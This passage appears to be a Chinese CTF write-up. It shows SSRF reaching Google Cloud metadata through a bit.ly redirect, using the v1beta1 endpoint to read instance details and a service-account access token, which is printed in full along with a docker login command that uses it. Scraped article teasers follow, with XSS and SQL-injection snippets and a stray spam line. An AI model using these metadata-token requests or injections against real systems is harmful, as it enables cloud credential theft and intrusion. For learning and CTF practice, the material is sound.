    題目意圖比較明顯,就是需要讓我們通過 SSRF 獲取 Google Cloud 相關的信息,前面的過濾措施也不是什么新的考點,我們可以通過查找一些 SSRF 繞過姿勢找到 302 跳轉的繞過形式,我們可以使用 bit.ly 提供的短鏈接服務方便地構造我們的跳轉地址,例如我們先按照老規矩,先看看 http://metadata.google.internal/computeMetadata/v1/instance/ 能不能成功

    雖然不能訪問,但是至少說明我們已經繞過了之前的一些限制,成功訪問到了 Google Cloud 內部的 API 。我們仔細看錯誤提示,缺少一個Metadata-Flavor: Google請求頭,我們可以考慮 CRLF 注入什么的,有點類似 BalsnCTF 2020 tpc 的那道題目,可是這里我們并沒有找到一個 CRLF 注入點,所以我們需要找其他的方法。

    查看其他選手的做法是通過找到了一個 v1beta1 的這么一個 API ,我們可以訪問 http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true 得到一些信息

    我們可以用一些 OCR 服務幫我們識別圖片當中的文字:

    {"attributes": {"gce-container-declaration":"spec:\n containers: \n - name: waas\n image:
    gcr.io/dicegang-waas/waas\n stdin: false\n tty: false\n restartPolicy: Always\n\n# This
    container declaration format is not public API and may change without notice. Please\n# use gcloud
    command-line tool or Google Cloud Console to run Containers on Google Compute Engine.", “google-
    logging-enabled":"true"}, "description":"", "disks":
    [{"deviceName": "waas", “index":0, “interface”: "SCSI", "mode": "READ_WRITE", "type": "PERSISTENT"}], "guestA
    ttributes":{}, "hostname": "waas.us-easti-b.c.dicegang-
    waas.internal", "id":2549341475975469686, "image" : "projects/cos-cloud/global/images/cos-stable-85-
    13310-1209-7", "licenses": [{"id" : "6880041984996540132"}, {"id" :"166739712233658766"},
    {"id":"1001010"}], “machineType": "projects/608525903049/machineTypes/e2-
    micro", “maintenanceEvent": "NONE", “name":"waas", "networkInterfaces":[{"accessConfigs":
    [{"externalIp":"35.229.111.15", "type": "ONE_TO_ONE_NAT"}], “dnsServers":
    ("169.254.169.254"), "forwardedIps":[], "gateway": "10.142.0.1", "ip":"10.142.0.2", "ipAliases":
    [], "mac": "42:01: 0a: 8e: 00:02", "mtu": 1460, "network": "projects/608525903049/networks/default", "subnetma
    sk":"255.255. 240.0", "targetInstanceIps":[]}], "preempted": "FALSE", "scheduling":
    {"automaticRestart": "TRUE", “onHostMaintenance" : "MIGRATE", "preemptible":"FALSE"}, "serviceAccounts":
    {"default": {"aliases":["default"], "email": "waas -155@dicegang-waas .iam.gserviceaccount.com", "scopes":
    ["https: //www.googleapis.com/auth/cloud-platform"]}, "waas -155@dicegang-
    waas.iam.gserviceaccount.com": {"aliases":["default"], "email": "waas-155@dicegang -
    waas.iam.gserviceaccount.com", "scopes": ["https: //www.googleapis.com/auth/cloud-platform"]}}, "tags":
    ["http-server", "https-server"], "zone": "projects/608525903049/zones/us-east1-b"}
    

    從上面的內容我們大概可以看到 Google Cloud 上托管了一個 docker 鏡像,位于gcr.io/dicegang-waas/waas,我們可以通過以下方式獲取到對應的 Token:http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

    這里建議找個容易識別的 Token ,因為 OCR 只能做到大部分準確,剩下的還是得自己手動弄一遍,中間有點的圈是零0,字母 l 跟數字 1 得要會區分…

    {"access_token":"ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5", “expires_in":3292, "token_type":"Bearer"}
    

    最后通過這個 token 用 docker 登陸

    docker login -u oauth2accesstoken -p "ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5" gcr.io
    

    直接拉下鏡像運行就可以看到打印出來的 flag 了…

    因為國內復雜的網絡環境,我們最好找個國外的機器做

    03 Summary

    當時比賽的時候并沒有弄出來全部題目,只是做了幾個,復現的時候也學到了很多,尤其是最后一個題目,看得眼都要瞎了,也倡議大家在弄驗證碼的時候,不要使用 Oo0Ll1Ii 等容易在字體上產生混淆的字符集生成驗證碼,會極其反人類,最后還是要膜一下我貓哥,你貓哥永遠是你貓哥,其他的就不談了。

    datahtml代碼
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    求生欲滿滿嗚嗚嗚有個供應商登陸,啥也不說先來個弱口令 123456:123456只能說弱口令yyds!!!!發現在供應商資料中存在不少輸入點,手癢隨手一波xss分享一波常用測試語句:輸入框:
    當大家看到全站的內容都變成了灰色,包括按鈕、圖片等等。有人會以為所有的內容都統一換了一個 CSS 樣式,圖片也全換成灰色的了,按鈕等樣式也統一換成了灰色樣式。其實,解決方案很簡單,只需要幾行代碼就能搞定了。通過參考資料,我總結出以下幾個方法可以幫助我們達到目的:使這個網頁的顏色變成灰色的最簡單的方法,就是在當前頁面的css里面。添加下面的代碼,并且讓他在任意的瀏覽器里面正確的執行:方法一type="text/css">html?
    lmxcms代碼審計學習
    2023-03-30 09:40:23
    前方多圖預警,本文適合在wifi狀態下查看前言最近學習php代碼審計,lmxcms很適合去學習代碼審計,因為比較簡單。m=Book&a=reply&id=1) and updatexml--+前臺SQL注入TagsAction.class.php中看不出來$data['name']的值是如何來的,查看的p的方法可以看到type=2的時候為GET傳遞,說明我們可以控制這個參數,繼續看能不能利用查看getNameData的聲明查看oneModel查看oneDB接著在這上面寫個echo $sql;/index.php/?m=search&keywords=b&mid=1&tuijian=id%20or%20;%23這里0x6c對應的是l回顯長度為8425,隨便改個參數,返回包長度變為5403用remen參數回顯為8422寫一個簡單的python腳本就可以測出值import requestsflag=""url="http://127.0.0.1/lmxcms1.4/index.php?
    到底怎么實現的?
    但當存在存儲型XSS時,受害者打開此URL,攻擊代碼將會被觸發,這種情況下便稱之為存儲型XSS漏洞。在標題處和帖子內容中分別填寫payload,填寫好之后,應與下圖一致填寫好內容之后,點擊下方的發表按鈕,即可進行發帖,發帖成功會彈出一個提示成功,如下圖所示?????
    在Web系統中,允許用戶上傳文件作為一個基本功能是必不可少的,如論壇允許用戶上傳附件,多媒體網站允許用戶上傳圖片,視頻網站允許上傳頭像、視頻等。但如果不能正確地認識到上傳帶來的風險,不加防范,會給整個系統帶來毀滅性的災難。
    Python從零到壹第17篇介紹可視化分析,希望您喜歡
    繞過 XSS 檢測機制
    2022-05-05 07:30:30
    跨站點腳本 (XSS) 是最常見的 Web 應用程序漏洞之一。它可以通過清理用戶輸入、基于上下文轉義輸出、正確使用文檔對象模型 (DOM) 接收器和源、執行正確的跨源資源共享 (CORS) 策略和其他安全實踐來完全防止。盡管這些預防性技術是公共知識,但 Web 應用程序防火墻 (WAF) 或自定義過濾器被廣泛用于添加另一層安全性,以保護 Web 應用程序免受人為錯誤或新發現的攻擊向量引入的缺陷
    與 Amazon Cognito 類似,Google Cloud Platform 托管了一項名為 Identity Platform 的服務。通常,應用程序中經過身份驗證的用戶通常應僅被授權訪問 Web 應用程序提供的功能。Firebase和Identity platform是兩種不同的服務,但事實證明,Identity Platform是利用Firebase進行工作。
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类